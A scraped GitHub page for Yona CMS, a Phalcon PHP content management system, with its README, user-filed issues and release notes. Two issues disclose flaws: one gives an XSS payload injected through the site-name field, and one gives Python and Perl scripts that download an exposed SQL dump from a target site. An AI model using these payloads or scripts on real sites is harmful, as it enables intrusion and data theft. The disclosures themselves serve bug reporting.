CMS based on Phalcon PHP Framework with modular structure

Overview

Yona CMS

Build Status Scrutinizer Code Quality

Yona CMS - open source content management system (CMS). Written in Phalcon PHP Framework (version 3.x supported)

Has a convenient modular structure. Has simple configuration and architecture. Can be easily modified for any task with any loads.

Project website

New Modern Yona CMS 2 with Phalcon 4.0 and PHP 7.3

Check ongoing development process in the branch v2.0.0

PHP 7 support, Docker

For using complete Docker stack check this branch php7.0

Installation

Composer

Run

composer create-project oleksandr-torosh/yona-cms -s dev

Or create composer.json file and install dependencies:

{  
    "require": {  
        "oleksandr-torosh/yona-cms": "dev-master"  
    }  
}
composer install

After some time, do not forget run composer update for update dependencies:

composer update

Composer is required. It will install required libraries. If you have error with autoload.php file, the reason - missed composer update installation step.

How to install Composer

Permissions

chmod a+w data -R
chmod a+w public/assets -R
chmod a+w public/img -R
chmod a+w public/robots.txt

Nginx

Example of configuration for php-fpm + nginx. Parameter APPLICATION_ENV has value “development”. Don’t forget remove it on production server.

server {

    listen   80;
    server_name yona-cms.dev;

    index index.php;
    set $root_path '/var/www/yona-cms/public';
    root $root_path;

    try_files $uri $uri/ @rewrite;

    location @rewrite {
        rewrite ^/(.*)$ /index.php?_url=/$1;
    }

    location ~ \.php {
        fastcgi_pass unix:/var/run/php5-fpm.sock;
        # fastcgi_pass 127.0.0.1:9000;

        fastcgi_index index.php;

        include /etc/nginx/fastcgi_params;

        fastcgi_split_path_info       ^(.+\.php)(/.+)$;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_param APPLICATION_ENV "development";
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

    location ~* ^/(css|img|js|flv|swf|download)/(.+)$ {
        root $root_path;
    }

    location ~ /\.ht {
        deny all;
    }

}

Apache

.htaccess file are ready configured

Admin dashboard

Open http://yona-cms/admin and auth:

  • login: yona
  • password: yonacmsphalcon

Change admin user password and delete yona user.

Database

Edit /app/config/environment/development.php and setup database connection. Import MySQL dump file yona-cms.sql

Phinx migrations

https://phinx.org/ Library for creation, executing and rollback migrations

Creation migration class in /data/migrations

php vendor/bin/phinx create NewMigrationName

Status

php vendor/bin/phinx -e development status

Executing new migrations

php vendor/bin/phinx -e development migrate

Rollback

php vendor/bin/phinx -e development rollback

You can set default environment for your localhost user

sudo nano ~/.bashrc

Add line

export PHINX_ENVIRONMENT=development

Features

  • Yona CMS saves a lot of time in starting necessary basic functionality for any project
  • The modular structure with a convenient hierarchy that is based on namespaces
  • Each module can serve as a separate independent component. Have its own routes, helpers, css, js assets
  • Multi-lingual. Manage an unlimited number of languages and translations directly from admin
  • Yona CMS is really fast!

Current version and updates in CHANGELOG.md

Requirements

  • php 5.6+
  • phalcon 3.0.0+
  • mysql
  • php-intl
  • apache (+mod_rewrite) or nginx
Comments
  • Meta-desc/title/key missing

    Meta-desc/title/key missing

    For the Meta-Description , Title and Keyword the fields are missing and cannot be updated. I have tried cloning the master source on 3 computers and still the meta tags cannot be updated. They always output as null.

    opened by Goran-n 6
  • Fatal error: Call to a member function delete() on null

    Fatal error: Call to a member function delete() on null

    I edit Page in Admin CMS and it show this error:

    Fatal error: Call to a member function delete() on null in <my_path>/app/modules/Page/Model/Page.php on line 56

    • It still update in database
    • Its look like something wrong in function delete in Application\Cache\Manager
    opened by vietdien2005 5
  • Updates to Exceptions and final output in Bootstrap.php

    Updates to Exceptions and final output in Bootstrap.php

    While testing exception handling only 200 were sent. Upon inspection found the right way to handle the headers in response so it really does send 404 or 503 to the client. Also moved "require" for vendor/autoload.php file into the loader. For consistency reasons I also updated the final output of dispatch(). (Upon testing $response->send() sends the headers so no need for explicit call of $response->sendHeaders())

    opened by drnasin 4
  • REST API module added

    REST API module added

    Hi, I've made a simple module that extends cms with an API, implementing just page entity for now. If you like this as a base, it can be implemented for all entities. It includes simple filters which works with entities, and can display only the required data in custom format.

    opened by djavolak 4
  • Broken paths using PHP 7.0.23 and PhalconPHP 3.2.2?

    Broken paths using PHP 7.0.23 and PhalconPHP 3.2.2?

    After installation going to http://yona-cms.local/admin results in a 404 error. Going to http://yona-cms.local/public/returns a page without any assets loaded, these assets can't be found either.

    opened by dfsoeten 3
  • Unexpected rendering

    Unexpected rendering

    Views rendered in wrong order. You could see the result here (if link will be unavailable, see screenshot below). Phpinfo's information could be found here. It looks really weird, because the same instance on a local server works as expected. 2017-08-22_173123

    opened by Iworb 3
  • Доступ без авторизации к http://demo.yonacms.com/cms/javascript

    Доступ без авторизации к http://demo.yonacms.com/cms/javascript

    Без авторизации в панели управления можно получить доступ к этой странице и заменить мета-теги

    Еще: http://demo.yonacms.com/seo/manager http://demo.yonacms.com/cms/language

    bug 
    opened by xboston 3
  • Fixes the problem: Access to undefined property Page\Model\Page::cacheManager

    Fixes the problem: Access to undefined property Page\Model\Page::cacheManager

    PHP message: PHP Notice: Access to undefined property Page\Model\Page::cacheManager in app/modules/Page/Model/Page.php on line 56 PHP message: PHP Fatal error: Call to a member function delete() on null in app/modules/Page/Model/Page.php on line 56"

    opened by htejeda 2
  • fix fatal error on tree category update

    fix fatal error on tree category update

    In admin/tree categories (for example */public/tree/admin/edit/15) when you press [Save] button error will occure:

    Catchable fatal error: Argument 1 passed to Phalcon\Mvc\Model::validate() must implement interface Phalcon\ValidationInterface, instance of Phalcon\Mvc\Model\Validator\Uniqueness given in C:\usr\Apache24\htdocs\yona\app\modules\Tree\Model\Category.php on line 53

    opened by pletsky 2
  • XSS в meta

    XSS в meta

    Пишем в SITE NAME (остальные не проверял) и вуаля:

    Yona <b>CMS</b></title><script>alert('Ай-ай-аааай!')</script><title>Еще один title!
    

    _115 _114

    opened by xboston 2
  • YonaCMS Software 1.3.2 Database Disclosure

    YonaCMS Software 1.3.2 Database Disclosure

    ###########################################################################

    Impact :


    • The product stores sensitive information in files or directories that are accessible

    to actors outside of the intended control sphere.

    • An information exposure is the intentional or unintentional disclosure of information

    to an actor that is not explicitly authorized to have access to that information.

    • phpMyAdmin is a free software tool written in PHP, intended to handle the administration of

    MySQL over the World Wide Web. It can be used to dump a database or a collection of

    databases for backup or transfer to another SQL server (not necessarily a MySQL server).

    The dump typically contains SQL statements to create the table, populate it, or both.

    This file contains an phpMyAdmin SQL dump. This information is highly sensitive and

    should not be found on a production system.

    • It looks like this file contains a database backup/dump.

    Acunetix inferred this filename from the domain name. A database backup contains a record of the

    table structure and/or the data from a database and is usually in the form of a list of SQL statements.

    A database backup is most often used for backing up a database so that its contents can be restored

    in the event of data loss. This information is highly sensitive and should never be found on a production system.

    Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible

    to the web server. As a workaround, you could restrict access to this file.

    ###########################################################################

    Installation


    Composer Run

    composer create-project oleksandr-torosh/yona-cms -s dev Or create composer.json file and install dependencies:

    {
    "require": {
    "oleksandr-torosh/yona-cms": "dev-master"
    }
    } composer install After some time, do not forget run composer update for update dependencies:

    composer update Composer is required. It will install required libraries. If you have error with autoload.php file, the reason - missed composer update installation step.

    How to install Composer =>

    getcomposer.org/doc/00-intro.md#installation-linux-unix-osx

    Admin dashboard Open http://yona-cms/admin and auth:

    login: yona password: yonacmsphalcon Change admin user password and delete yona user.

    Database Edit /app/config/environment/development.php and setup database connection. Import MySQL dump file yona-cms.sql

    Requirements php 5.6+ phalcon 3.0.0+ mysql php-intl apache (+mod_rewrite) or nginx

    ###########################################################################

    File :


    /yona-cms.sql

    -- phpMyAdmin SQL Dump -- version 3.4.11.1deb2+deb7u1 -- phpmyadmin.net

    -- Host: localhost -- Server version: 5.6.23 -- PHP Version: 5.6.10-1~dotdeb+7.3 -- Database: yona-cms

    github.com/alexander-torosh/yona-cms/raw/master/yona-cms.sql

    File :


    /yona_cms_postgres.sql

    -- PostgreSQL database dump -- Dumped from database version 9.4.8 -- Dumped by pg_dump version 9.4.8

    raw.githubusercontent.com/alexander-torosh/yona-cms/master/yona_cms_postgres.sql

    ###########################################################################

    Database Disclosure Information Exposure Exploit 1 :


    #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/yona-cms.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.=", html)) print rdo exit

    ###########################################################################

    Database Disclosure Information Exposure Exploit 2 :


    #!/usr/bin/perl -w

    Author : KingSkrupellos

    Team : Cyberizm Digital Security Army

    use LWP::Simple; use LWP::UserAgent;

    system('cls'); system('YonaCMS Software Database Disclosure Exploit'); system('color a');

    if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV;

    $File="yona-cms.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n";

    my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/yona-cms.sql");

    if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/yona-cms.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); }

    opened by aaryansaharan 1
  • [php7.0] db and php won't start on docker-compose up

    [php7.0] db and php won't start on docker-compose up

    ➜  yona-cms git:(php7.0) docker-compose up                   
    Starting yona-cms-phpmyadmin ... 
    Starting yona-cms-mysql ... done
    Starting yona-cms-php7 ... done
    Starting yona-cms-www ... done
    Attaching to yona-cms-phpmyadmin, yona-cms-mysql, yona-cms-php7, yona-cms-www
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,962 CRIT Supervisor running as root (no user in config file)
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,963 WARN Included extra file "/etc/supervisor.d/nginx.ini" during parsing
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,966 WARN Included extra file "/etc/supervisor.d/php.ini" during parsing
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,985 INFO RPC interface 'supervisor' initialized
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,991 CRIT Server 'unix_http_server' running without any HTTP authentication checking
    yona-cms-mysql | Initializing database
    yona-cms-mysql | mkdir: cannot create directory '/var/lib/mysql//mysql': Permission denied
    yona-cms-mysql | Fatal error Can't create database directory '/var/lib/mysql//mysql'
    yona-cms-mysql | 
    yona-cms-mysql | The latest information about mysql_install_db is available at
    yona-cms-mysql | https://mariadb.com/kb/en/installing-system-tables-mysql_install_db
    yona-cms-mysql exited with code 1
    yona-cms-phpmyadmin | 2018-04-18 22:47:29,994 INFO supervisord started with pid 1
    yona-cms-phpmyadmin | 2018-04-18 22:47:30,997 INFO spawned: 'php-fpm' with pid 13
    yona-cms-php7 | [18-Apr-2018 22:47:31] ERROR: Unable to create the PID file (/run/php/php7.1-fpm.pid).: No such file or directory (2)
    yona-cms-php7 | [18-Apr-2018 22:47:31] ERROR: FPM initialization failed
    yona-cms-php7 exited with code 78
    yona-cms-phpmyadmin | 2018-04-18 22:47:30,999 INFO spawned: 'nginx' with pid 14
    ^CGracefully stopping... (press Ctrl+C again to force)
    Stopping yona-cms-www        ... done
    Stopping yona-cms-phpmyadmin ... done
    
    opened by hersoncruz 4
  • Can not create or move node in tree category

    Can not create or move node in tree category

    Firstly, I use PostgresQL 9.6 and your file seem older. Can you backup a new version please , because each time i try to excute SQL query , it has error at line 755 (Copy new record to admin_user table)

    Secondly, I have tried with MySQL also but i can not move or add new node. I just can rename node only.

    Can you help me with this

    opened by esoftcard 1
  • Cannot save pages ?

    Cannot save pages ?

    I've made Little fix on Page.php

    public function validation()
        {
         //add Validation init
          $validator = new Validation();
    
          $validator->add('slug', new UniquenessValidator(
              [
                  "model"   => $this,
                  "message" => $this->getDi()->get('helper')->translate("Page with slug is already exists")
              ]
          ));
          return $this->validate($validator);
        }
    
    opened by adzanny 0
Releases(v0.5.0)
  • v0.4.1(Dec 21, 2015)

    Partially moved vendor frontend vendors to BOWER. This is last release with complex multilingual architecture. Next versions will support only 3 defined languages.

    Source code(tar.gz)
    Source code(zip)
  • v0.2(Jun 19, 2015)

    • You don't need create virtual host for starting using YonaCms anymore. Applied simple localhost dynamic configuration as http://localhost/yona-cms/web/;
    • Added 'base_path' variable in configuration;
    • Configuration file /app/config/config.php deprecated and refactored. Now basic config placed in /app/config/global.php and /app/modules/Cms/Config.php;
    • Added some settings in Cms Configuration interface;
    • Custom admin.less placed in /app/modules/Admin/assets/
    • Deprecated modules-less Assets collection;
    • Assets list for frontend of site placed in /app/config/global.php in 'assets' section;
    • Interface and translate fixes;
    Source code(tar.gz)
    Source code(zip)
Owner
Alexander Torosh
Director Of Engineering
Alexander Torosh
A Phalcon paginator adapter for Phalcon Collections

Phalcon Collection Paginator A Phalcon paginator adapter for Phalcon Collections Why create this? Being familiar with the various Pagination data adap

Angel S. Moreno 2 Oct 7, 2022
Pagekit is a modular and lightweight CMS built with Symfony components and Vue.js.

Pagekit Pagekit is a modular and lightweight CMS built with Symfony components and Vue.js. Homepage - Learn more about Pagekit Documentation - User an

Pagekit 5.5k Dec 30, 2022
this is a PHP framework like Laravel based on MVC structure

PHP-MVC-framework v 1-0-0 this is a PHP framework like Laravel based on MVC structure The "App" folder is the main part of this framework Models, View

Yousef Jafari 1 Aug 4, 2022
Developer-friendly framework heavily inspired by Laravel and based on Timber and Wpemerge solutions for WordPress themes development with Bedrock folder structure

Lightweight Brocooly (Brocket) Improved Controllers, Middleware and Routers, but slightly less powerful Container Open beta. Package in development Cr

Ihar Aliakseyenka 3 Mar 4, 2022
Enterprise Modular SAAS Framework, Design from the growndup to grow vertically.

Kwerio Enterprise Modular SAAS Framework, Design from the growndup to grow vertically. Explore the docs » View Demo · Report Bug · Request Feature Tab

null 18 Jan 5, 2022
Hoa is a modular, extensible and structured set of PHP libraries

Hoa is a modular, extensible and structured set of PHP libraries. Moreover, Hoa aims at being a bridge between industrial and research worlds. Hoa\Ust

Hoa 403 Dec 20, 2022
The VarExporter component allows exporting any serializable PHP data structure to plain PHP code.

The VarExporter component allows exporting any serializable PHP data structure to plain PHP code. While doing so, it preserves all the semantics associated with the serialization mechanism of PHP (__wakeup, __sleep, Serializable).

Symfony 1.8k Jan 1, 2023
PHP functions that help you validate structure of complex nested PHP arrays.

PHP functions that help you validate structure of complex nested PHP arrays.

cd rubin 7 May 22, 2022
YL MVC Structure (PHP MVC) is a pattern made in PHP used to implement user interfaces, data, and controlling logic.

YL MVC Structure (PHP MVC) is a pattern made in PHP used to implement user interfaces, data, and controlling logic. It is built based on the combination of ideas from the Yii framework and Laravel framework (yl).

Tan Nguyen 3 Jan 3, 2023
Phalcon Auth - Guard-Based Authentication

Phalcon Auth You can see an example of an application with authorization and limit here sinbadxiii/phalcon-auth-example Стандартная аутентификация на

Sergey Mukhin 6 Oct 7, 2022
Easy Repository pattern for PHP Phalcon framework.

Phalcon Repositories Introduction Phalcon Repositories lets you easily build repositories for your Phalcon models, for both SQL and Mongo drivers. PHP

Michele Angioni 18 Oct 7, 2022
Incubator adapters/functionality for the Phalcon PHP Framework

Phalcon Incubator This is a repository to publish/share/experiment with new adapters, prototypes or functionality that can potentially be incorporated

The Phalcon PHP Framework 735 Dec 27, 2022
Invo - Sample application for the Phalcon PHP Framework

INVO Application Phalcon is a web framework delivered as a C extension providing high performance and lower resource consumption. This is a sample app

The Phalcon PHP Framework 344 Dec 14, 2022
Album-o-rama - Sample application for the Phalcon PHP Framework.

Album O'Rama Phalcon PHP is a web framework delivered as a C extension providing high performance and lower resource consumption. This is a sample app

The Phalcon PHP Framework 84 Oct 7, 2022
PHP library that helps to map any input into a strongly-typed value object structure.

Valinor • PHP object mapper with strong type support Valinor is a PHP library that helps to map any input into a strongly-typed value object structure

Team CuyZ 873 Jan 7, 2023
Implementation of an API application using the Phalcon Framework

phalcon-api Sample API using Phalcon Implementation of an API application using the Phalcon Framework https://phalcon.io Installation Clone the projec

The Phalcon PHP Framework 81 Dec 15, 2022
A powerful debug and profilers tool for the Phalcon Framework

Phalcon Debugbar Integrates PHP Debug Bar with Phalcon Framework. 中文说明 Features Normal request capturing Ajax request capturing Redirect request chain

Yajie Zhu 162 Oct 7, 2022
A layout field that forces translations to have the same structure.

Kirby translatedlayout plugin A layout field that forces translations to have anidentical structure to the one of the default language. This is an exp

Daan de Lange 12 Apr 25, 2022
Admidio is a free open source user management system for websites of organizations and groups. The system has a flexible role model so that it’s possible to reflect the structure and permissions of your organization.

Admidio Admidio is a free open source user management system for websites of organizations and groups. The system has a flexible role model so that it

Admidio 212 Dec 30, 2022